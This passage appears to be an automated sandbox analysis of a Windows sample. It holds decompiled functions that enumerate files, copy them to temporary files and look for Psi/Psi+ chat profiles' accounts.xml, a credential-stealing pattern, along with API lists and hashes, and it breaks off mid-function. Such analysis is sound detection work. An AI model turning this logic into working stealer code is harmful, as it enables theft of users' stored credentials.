				intOrPtr _t343;
				intOrPtr _t344;
				void* _t345;

				_t339 = __esi;
				_t334 = __edi;
				_t275 = __ebx;
				_t342 = _t343;
				_t279 = 0x56;
				do {
					_push(0);
					_push(0);
					_t279 = _t279 - 1;
				} while (_t279 != 0);
				_push(_t279);
				_t1 =  &_v8;
				 *_t1 = _t279;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 =  *_t1;
				_v8 = __edx;
				E00404150( &_v8);
				E00403980(_v12);
				E00403980(_a8);
				_push(_t342);
				_push(0x40a36b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t343;
				_push(0);
				E00404804();
				_t344 = _t343 + 4;
				_v29 = 1;
				E00403E14( &_v664, L"\\*.*", _v8, 0);
				_t138 = FindFirstFileW(E00403D98(_v664),  &_v660); // executed
				_v28 = _t138;
				do {
					_push(_v8);
					E00403D6C( &_v672, 0x104,  &(_v660.cFileName));
					_push(_v672);
					_push(E0040A390);
					_t141 =  *0x41b438; // 0x41c7f0
					_push( *_t141);
					E00403E78();
					_t147 = GetFileAttributesW(E00403D98(_v668)); // executed
					if(_t147 == 0xffffffff) {
						goto L19;
					} else {
						_push(_v8);
						E00403D6C( &_v680, 0x104,  &(_v660.cFileName));
						_push(_v680);
						_push(E0040A390);
						_t185 =  *0x41b438; // 0x41c7f0
						_push( *_t185);
						E00403E78();
						E00409C28(_v676, _t275,  &_v36, _t334, _t339);
						if(_v29 != 0) {
							_t275 = E00404648(_v36) - 1;
							if(_t275 < 0) {
								goto L19;
							} else {
								_t277 = _t275 + 1;
								_t340 = 0;
								while(1) {
									E0040377C( &_v684, _v8);
									_push( &_v684);
									E00403760( &_v688, 0x104,  &(_v660.cFileName));
									_pop(_t196);
									E00403798(_t196, _v688);
									_push(E00403990(_v684));
									_t200 =  *0x41b314; // 0x41ca3c
									if( *((intOrPtr*)( *_t200))() != 0) {
										goto L20;
									}
									_t203 =  *0x41b2b8; // 0x41ca40
									_v16 =  *((intOrPtr*)( *_t203))();
									if(_v16 != 0) {
										_t207 =  *0x41b404; // 0x41ca44
										_t209 =  *((intOrPtr*)( *_t207))(_v16, 1, 0);
										_t344 = _t344 + 0xc;
										if(_t209 == 0) {
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 4 + (_t340 + _t340 * 2) * 4)), _t277,  &_v44, _t334, _t340);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v20);
											_t226 =  *0x41b3b4; // 0x41ca48
											_t228 =  *((intOrPtr*)( *_t226))( &_v56,  &_v68, 0);
											_t345 = _t344 + 0xc;
											if(_t228 == 0) {
												_t334 = _v60 - 1;
												if(_t334 >= 0) {
													_t338 = _t334 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v20, _v692);
														_v40 = _v40 + 1;
														_t338 = _t338 - 1;
													} while (_t338 != 0);
												}
											}
											E004034E4( &_v44);
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 8 + (_t340 + _t340 * 2) * 4)), _t277,  &_v44, _t334, _t340);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v24);
											_t247 =  *0x41b3b4; // 0x41ca48
											_t249 =  *((intOrPtr*)( *_t247))( &_v56,  &_v68, 0);
											_t344 = _t345 + 0xc;
											if(_t249 == 0) {
												_t334 = _v60 - 1;
												if(_t334 >= 0) {
													_t336 = _t334 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v24, _v696);
														_v40 = _v40 + 1;
														_t336 = _t336 - 1;
													} while (_t336 != 0);
												}
											}
											E004034E4( &_v44);
											E00403760( &_v700, 0x104,  &(_v660.cFileName));
											E0040525C(_a8, _t277,  *((intOrPtr*)(_v36 + (_t340 + _t340 * 2) * 4)), _v12, _t334, _t340, _v700, _v24, _v20);
											_t261 =  *0x41b488; // 0x41ca50
											 *((intOrPtr*)( *_t261))(_v16);
											_t264 =  *0x41b2ec; // 0x41ca4c
											 *((intOrPtr*)( *_t264))();
											_t340 = _t340 + 1;
											_t277 = _t277 - 1;
											if(_t277 != 0) {
												continue;
											} else {
												goto L19;
											}
										}
									}
									goto L20;
								}
							}
						}
					}
					break;
					L19:
					_push( &_v660);
					_push(_v28);
					_t150 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t150))() != 0);
				L20:
				if( &_v16 != 0 && _v16 != 0) {
					 *[fs:eax] = _t344;
					_t179 =  *0x41b488; // 0x41ca50
					 *((intOrPtr*)( *_t179))(_v16,  *[fs:eax], 0x40a2c3, _t342);
					_pop(_t310);
					 *[fs:eax] = _t310;
				}
				_t154 =  *0x41b2ec; // 0x41ca4c
				if( *_t154 != 0) {
					 *[fs:eax] = _t344;
					_t173 =  *0x41b2ec; // 0x41ca4c
					 *((intOrPtr*)( *_t173))( *[fs:eax], 0x40a2f8, _t342);
					_pop(_t309);
					 *[fs:eax] = _t309;
				}
				_pop(_t304);
				 *[fs:eax] = _t304;
				_push(E0040A372);
				E00403508( &_v700, 5);
				E00403BF4( &_v680, 5);
				E004034E4( &_v44);
				_t307 =  *0x409bfc; // 0x409c00
				E00404810( &_v36, _t307);
				E00403508( &_v24, 2);
				E004034E4( &_v12);
				E00403BDC( &_v8);
				return E004034E4( &_a8);
			}

0x00409ef0
0x00409ef0
0x00409ef0
0x00409ef1
0x00409ef4
0x00409ef9
0x00409ef9
0x00409efb
0x00409efd
0x00409efd
0x00409f00
0x00409f01
0x00409f01
0x00409f04
0x00409f05
0x00409f06
0x00409f07
0x00409f0a
0x00409f10
0x00409f18
0x00409f20
0x00409f27
0x00409f28
0x00409f2d
0x00409f30
0x00409f33
0x00409f43
0x00409f48
0x00409f4b
0x00409f64
0x00409f7c
0x00409f7e
0x00409f81
0x00409f81
0x00409f95
0x00409f9a
0x00409fa0
0x00409fa5
0x00409faa
0x00409fb7
0x00409fcf
0x00409fd4
0x00000000
0x00409fda
0x00409fda
0x00409fee
0x00409ff3
0x00409ff9
0x00409ffe
0x0040a003
0x0040a010
0x0040a01e
0x0040a027
0x0040a037
0x0040a03a
0x00000000
0x0040a040
0x0040a040
0x0040a041
0x0040a043
0x0040a04c
0x0040a057
0x0040a069
0x0040a074
0x0040a075
0x0040a085
0x0040a086
0x0040a092
0x00000000
0x00000000
0x0040a098
0x0040a0a1
0x0040a0a8
0x0040a0b6
0x0040a0bd
0x0040a0bf
0x0040a0c4
0x0040a0d2
0x0040a0df
0x0040a0f1
0x0040a0f8
0x0040a103
0x0040a10e
0x0040a114
0x0040a123
0x0040a12a
0x0040a12c
0x0040a131
0x0040a136
0x0040a139
0x0040a13b
0x0040a13c
0x0040a143
0x0040a152
0x0040a160
0x0040a165
0x0040a168
0x0040a168
0x0040a143
0x0040a139
0x0040a16e
0x0040a17b
0x0040a188
0x0040a19a
0x0040a1a1
0x0040a1ac
0x0040a1b7
0x0040a1bd
0x0040a1cc
0x0040a1d3
0x0040a1d5
0x0040a1da
0x0040a1df
0x0040a1e2
0x0040a1e4
0x0040a1e5
0x0040a1ec
0x0040a1fb
0x0040a209
0x0040a20e
0x0040a211
0x0040a211
0x0040a1ec
0x0040a1e2
0x0040a217
0x0040a235
0x0040a250
0x0040a259
0x0040a260
0x0040a263
0x0040a26a
0x0040a26c
0x0040a26d
0x0040a26e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a26e
0x0040a0c4
0x00000000
0x0040a0a8
0x0040a043
0x0040a03a
0x0040a027
0x00000000
0x0040a274
0x0040a27a
0x0040a27e
0x0040a27f
0x0040a288
0x0040a290
0x0040a295
0x0040a2a8
0x0040a2af
0x0040a2b6
0x0040a2bb
0x0040a2be
0x0040a2be
0x0040a2cd
0x0040a2d5
0x0040a2e2
0x0040a2e5
0x0040a2ec
0x0040a2f0
0x0040a2f3
0x0040a2f3
0x0040a304
0x0040a307
0x0040a30a
0x0040a31a
0x0040a32a
0x0040a332
0x0040a33a
0x0040a340
0x0040a34d
0x0040a355
0x0040a35d
0x0040a36a

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A212), ref: 00409F7C
GetFileAttributesW.KERNEL32(00000000,0041C7F0,0040A390,?,0041A212,?,?,?,?,?,?,0041A212), ref: 00409FCF

Strings

\*.*, xrefs: 00409F5C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesFindFirst
String ID: \*.*
API String ID: 4185537391-1173974218
Opcode ID: 049ac93e3a63d435fa8d12580fca5f9083b3dca68cda69a285534265ffb2b90f
Instruction ID: babcb2b1c762550d1cb17765fcc12c0327661259adbeee07ecadaaa324570f31
Opcode Fuzzy Hash: 049ac93e3a63d435fa8d12580fca5f9083b3dca68cda69a285534265ffb2b90f
Instruction Fuzzy Hash: B5D12771A002099FCB10EF95D885ADEB7F9EF49304F1041BAE504B73A1DB39AE458B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB40, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040FB40(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* _t72;
				intOrPtr* _t75;
				void* _t78;
				intOrPtr* _t81;
				intOrPtr* _t85;
				intOrPtr* _t105;
				void* _t117;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t151;
				void* _t152;
				intOrPtr _t153;

				_t149 = __esi;
				_t148 = __edi;
				_t151 = _t152;
				_t153 = _t152 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t151);
				_push(0x40fdbb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t72 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t72;
				do {
					_push(_v8);
					_push(0x40fde4);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x40fde4);
					_t75 =  *0x41b204; // 0x41c808
					_push( *_t75);
					E00403E78();
					_t78 = E0040776C(_v624, 0, 0x104); // executed
					if(_t78 != 0) {
						_push(_t151);
						_push(0x40fd27);
						_push( *[fs:eax]);
						 *[fs:eax] = _t153;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x40fde4);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(0x40fde4);
							_t105 =  *0x41b204; // 0x41c808
							_push( *_t105);
							E00403E78();
							E0040E954(_v640, 0,  &_v636, _t148, _t149);
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x40fde4);
							_push(_v12);
							_push(E0040FDEC);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t117);
							E0040E6D4(_t117, 0, _v648, _t148, _t149);
						}
						_pop(_t139);
						 *[fs:eax] = _t139;
					}
					_push( &_v616);
					_push(_v24);
					_t81 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t81))() != 0);
				_t85 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t85))(_v24);
				_pop(_t134);
				 *[fs:eax] = _t134;
				_push(E0040FDC2);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0040fb40
0x0040fb40
0x0040fb41
0x0040fb43
0x0040fb49
0x0040fb4a
0x0040fb4b
0x0040fb4e
0x0040fb54
0x0040fb5a
0x0040fb60
0x0040fb66
0x0040fb6c
0x0040fb72
0x0040fb78
0x0040fb7e
0x0040fb84
0x0040fb8a
0x0040fb8d
0x0040fb90
0x0040fb96
0x0040fb9e
0x0040fba6
0x0040fbad
0x0040fbae
0x0040fbb3
0x0040fbb6
0x0040fbce
0x0040fbe6
0x0040fbe8
0x0040fbeb
0x0040fbeb
0x0040fbee
0x0040fc04
0x0040fc09
0x0040fc0f
0x0040fc14
0x0040fc19
0x0040fc26
0x0040fc31
0x0040fc38
0x0040fc40
0x0040fc41
0x0040fc46
0x0040fc49
0x0040fc50
0x0040fc56
0x0040fc59
0x0040fc6f
0x0040fc74
0x0040fc7a
0x0040fc7f
0x0040fc84
0x0040fc91
0x0040fca2
0x0040fcb3
0x0040fcbe
0x0040fcbf
0x0040fcc2
0x0040fcc7
0x0040fcca
0x0040fce0
0x0040fce5
0x0040fceb
0x0040fcfb
0x0040fd0c
0x0040fd17
0x0040fd18
0x0040fd18
0x0040fd1f
0x0040fd22
0x0040fd22
0x0040fd37
0x0040fd3b
0x0040fd3c
0x0040fd45
0x0040fd51
0x0040fd58
0x0040fd5c
0x0040fd5f
0x0040fd62
0x0040fd72
0x0040fd7d
0x0040fd8d
0x0040fd98
0x0040fda8
0x0040fdba

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,0040FDBB,?,00000000,?,00000000,?,00410C11,00000000,00000000,00410C1B,?,00000000,00000000), ref: 0040FBE6

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

Strings

.txt, xrefs: 0040FCEB
\*.*, xrefs: 0040FBC6

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AllocAttributesFindFirstString
String ID: .txt$\*.*
API String ID: 1349184984-2615687548
Opcode ID: 2e71dce30fe824f238b69831dd8abe859d4f740fedd428b71ecebaac15153df7
Instruction ID: 4da0469fcd7e808bfdd22e9b9fa3897ca4cfda038d2dc7649378911621c520b4
Opcode Fuzzy Hash: 2e71dce30fe824f238b69831dd8abe859d4f740fedd428b71ecebaac15153df7
Instruction Fuzzy Hash: 4C6109749052199FCB61EF65CC85ACDB7B9EF48304F5081FAA418B36A1DB389F898F14

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9E3, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040A9E3(char __eax, void* __ebx, intOrPtr* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				void* _t61;
				intOrPtr* _t64;
				void* _t67;
				int _t72;
				intOrPtr* _t74;
				intOrPtr* _t90;
				intOrPtr _t112;
				void* _t118;
				intOrPtr _t120;
				void* _t124;
				void* _t125;
				intOrPtr _t126;

				_t122 = __esi;
				_t121 = __edi;
				_v117 = _v117 + __edx;
				_t124 = _t125;
				_t126 = _t125 + 0xfffffd84;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v628 = 0;
				_v632 = 0;
				_v636 = 0;
				_v640 = 0;
				_v620 = 0;
				_v624 = 0;
				_v616 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t124);
				_push(0x40abd6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				E00403BDC(_v16);
				E00403E14( &_v616, L"\\*.*", _v8, 0);
				_t61 = FindFirstFileW(E00403D98(_v616),  &_v612); // executed
				_v20 = _t61;
				do {
					_push(_v8);
					_push(E0040ABF8);
					E00403D6C( &_v624, 0x104,  &(_v612.cFileName));
					_push(_v624);
					_push(E0040ABF8);
					_t64 =  *0x41b3d8; // 0x41c918
					_push( *_t64);
					E00403E78();
					_t67 = E0040776C(_v620, 0, 0x104); // executed
					if(_t67 != 0) {
						_push(_t124);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t126;
						_push( *_v16);
						_push( &_v628);
						E00403D6C( &_v632, 0x104,  &(_v612.cFileName));
						_push(_v632);
						_push(_v8);
						_push(E0040ABF8);
						E00403D6C( &_v640, 0x104,  &(_v612.cFileName));
						_push(_v640);
						_push(E0040ABF8);
						_t90 =  *0x41b3d8; // 0x41c918
						_push( *_t90);
						E00403E78();
						_pop(_t118); // executed
						E0040A6F0(_v636, 0, _v12, _t118, _t121, _t122); // executed
						_push(_v628);
						_push(E0040AC00);
						E00403E78();
						_pop(_t120);
						 *[fs:eax] = _t120;
					}
					_t72 = FindNextFileW(_v20,  &_v612); // executed
				} while (_t72 != 0);
				_t74 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t74))(_v20);
				_pop(_t112);
				 *[fs:eax] = _t112;
				_push(E0040ABDD);
				E00403BF4( &_v640, 7);
				return E00403BF4( &_v12, 2);
			}

0x0040a9e3
0x0040a9e3
0x0040a9e3
0x0040a9e5
0x0040a9e7
0x0040a9ed
0x0040a9ee
0x0040a9ef
0x0040a9f2
0x0040a9f8
0x0040a9fe
0x0040aa04
0x0040aa0a
0x0040aa10
0x0040aa16
0x0040aa1c
0x0040aa1f
0x0040aa22
0x0040aa28
0x0040aa30
0x0040aa37
0x0040aa38
0x0040aa3d
0x0040aa40
0x0040aa46
0x0040aa60
0x0040aa78
0x0040aa7a
0x0040aa7d
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040ab94
0x0040ab96
0x0040aba2
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

FindFirstFileW.KERNEL32(00000000,?,00000000,0040ABD6,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000), ref: 0040AA78

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94

Part of subcall function 0040A6F0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Strings

\*.*, xrefs: 0040AA58

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$FindString$AllocAttributesCopyFirstFreeNext
String ID: \*.*
API String ID: 2244399553-1173974218
Opcode ID: b0bc67aee62128e44645a79f62c4b3e5156794f7ef1c65296d41f1b823e42ea1
Instruction ID: de91451124f38c0ed1d727ca6b9dde3f7f5292e6ae3a04e1642b20c07aa1ed30
Opcode Fuzzy Hash: b0bc67aee62128e44645a79f62c4b3e5156794f7ef1c65296d41f1b823e42ea1
Instruction Fuzzy Hash: EE512B30A042199FCB10EFA5CC85A9DBBB9EB48304F5041FAA518B32A0D739AF95DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9E4, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040A9E4(char __eax, void* __ebx, intOrPtr* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				void* _t59;
				intOrPtr* _t62;
				void* _t65;
				int _t70;
				intOrPtr* _t72;
				intOrPtr* _t88;
				intOrPtr _t110;
				void* _t116;
				intOrPtr _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t124;

				_t120 = __esi;
				_t119 = __edi;
				_t122 = _t123;
				_t124 = _t123 + 0xfffffd84;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v628 = 0;
				_v632 = 0;
				_v636 = 0;
				_v640 = 0;
				_v620 = 0;
				_v624 = 0;
				_v616 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t122);
				_push(0x40abd6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t124;
				E00403BDC(_v16);
				E00403E14( &_v616, L"\\*.*", _v8, 0);
				_t59 = FindFirstFileW(E00403D98(_v616),  &_v612); // executed
				_v20 = _t59;
				do {
					_push(_v8);
					_push(E0040ABF8);
					E00403D6C( &_v624, 0x104,  &(_v612.cFileName));
					_push(_v624);
					_push(E0040ABF8);
					_t62 =  *0x41b3d8; // 0x41c918
					_push( *_t62);
					E00403E78();
					_t65 = E0040776C(_v620, 0, 0x104); // executed
					if(_t65 != 0) {
						_push(_t122);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t124;
						_push( *_v16);
						_push( &_v628);
						E00403D6C( &_v632, 0x104,  &(_v612.cFileName));
						_push(_v632);
						_push(_v8);
						_push(E0040ABF8);
						E00403D6C( &_v640, 0x104,  &(_v612.cFileName));
						_push(_v640);
						_push(E0040ABF8);
						_t88 =  *0x41b3d8; // 0x41c918
						_push( *_t88);
						E00403E78();
						_pop(_t116); // executed
						E0040A6F0(_v636, 0, _v12, _t116, _t119, _t120); // executed
						_push(_v628);
						_push(E0040AC00);
						E00403E78();
						_pop(_t118);
						 *[fs:eax] = _t118;
					}
					_t70 = FindNextFileW(_v20,  &_v612); // executed
				} while (_t70 != 0);
				_t72 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t72))(_v20);
				_pop(_t110);
				 *[fs:eax] = _t110;
				_push(E0040ABDD);
				E00403BF4( &_v640, 7);
				return E00403BF4( &_v12, 2);
			}

0x0040a9e4
0x0040a9e4
0x0040a9e5
0x0040a9e7
0x0040a9ed
0x0040a9ee
0x0040a9ef
0x0040a9f2
0x0040a9f8
0x0040a9fe
0x0040aa04
0x0040aa0a
0x0040aa10
0x0040aa16
0x0040aa1c
0x0040aa1f
0x0040aa22
0x0040aa28
0x0040aa30
0x0040aa37
0x0040aa38
0x0040aa3d
0x0040aa40
0x0040aa46
0x0040aa60
0x0040aa78
0x0040aa7a
0x0040aa7d
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040ab94
0x0040ab96
0x0040aba2
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

FindFirstFileW.KERNEL32(00000000,?,00000000,0040ABD6,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000), ref: 0040AA78

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94

Part of subcall function 0040A6F0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Strings

\*.*, xrefs: 0040AA58

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$FindString$AllocAttributesCopyFirstFreeNext
String ID: \*.*
API String ID: 2244399553-1173974218
Opcode ID: eac615b38c094e59d67b185c3491365c6a00524ff71f59d3970ddf72a5029755
Instruction ID: 3000cf386e1528323af5e321c443dffa09c16ee593a4eb6ed7bedf03be481240
Opcode Fuzzy Hash: eac615b38c094e59d67b185c3491365c6a00524ff71f59d3970ddf72a5029755
Instruction Fuzzy Hash: C8512B30A042199FCB10EFA5CC85A9DBBB9FB48304F5041FAA518B32A0D735AF90DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB00, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E0040DB00(signed int __ebx) {
				intOrPtr* _t67;
				intOrPtr* _t72;
				void* _t74;
				void* _t86;
				intOrPtr* _t89;
				intOrPtr* _t97;
				void* _t99;
				signed int _t152;
				intOrPtr _t174;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t191;
				intOrPtr _t193;
				void* _t198;
				intOrPtr _t200;
				void* _t201;
				void* _t202;
				void* _t203;
				intOrPtr _t204;

				_t152 = __ebx;
				E0040300C();
				while(1) {
					_t72 =  *0x41b198; // 0x41c6b8
					_t74 =  *((intOrPtr*)( *_t72))( *(_t203 - 8), _t203 - 0x25c);
					_t206 = _t74;
					if(_t74 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t203 - 0xc)));
					E00403D6C(_t203 - 0x268, 0x104, _t203 - 0x230);
					_push( *((intOrPtr*)(_t203 - 0x268)));
					_push(L"\\accounts.xml");
					E00403E78();
					_push(E00403D98( *((intOrPtr*)(_t203 - 0x264))));
					_t67 =  *0x41b358; // 0x41c698
					if( *((intOrPtr*)( *_t67))() != 0xffffffff) {
						_push(_t203);
						_push(0x40dafb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t204;
						_push(_t203 - 0x26c);
						_push( *((intOrPtr*)(_t203 - 0xc)));
						E00403D6C(_t203 - 0x278, 0x104, _t203 - 0x230);
						_push( *((intOrPtr*)(_t203 - 0x278)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t203 - 0x274)), _t152, _t203 - 0x270);
						_push( *((intOrPtr*)(_t203 - 0x270)));
						E00403760(_t203 - 0x27c, 0x104, _t203 - 0x230);
						_pop(_t198);
						E0040D5D4( *((intOrPtr*)(_t203 - 0x27c)), _t152, "PsiPlus", _t198, _t201, _t202);
						E00403798( *((intOrPtr*)(_t203 - 4)),  *((intOrPtr*)(_t203 - 0x26c)));
						_pop(_t200);
						 *[fs:eax] = _t200;
					}
				}
				_pop(_t174);
				 *[fs:eax] = _t174;
				E004062FC(L"%Appdata%\\Psi\\profiles\\", _t203 - 0xc, _t206);
				_push(_t203);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t204;
				E00403E14(_t203 - 0x280, L"\\*.*",  *((intOrPtr*)(_t203 - 0xc)), _t206);
				_t86 = FindFirstFileW(E00403D98( *((intOrPtr*)(_t203 - 0x280))), _t203 - 0x25c); // executed
				 *(_t203 - 8) = _t86;
				while(1) {
					_push(_t203 - 0x25c);
					_push( *(_t203 - 8));
					_t89 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t89))() == 0) {
						break;
					}
					E00403D6C(_t203 - 0x288, 0x104, _t203 - 0x230);
					E00403E78();
					_t97 =  *0x41b358; // 0x41c698
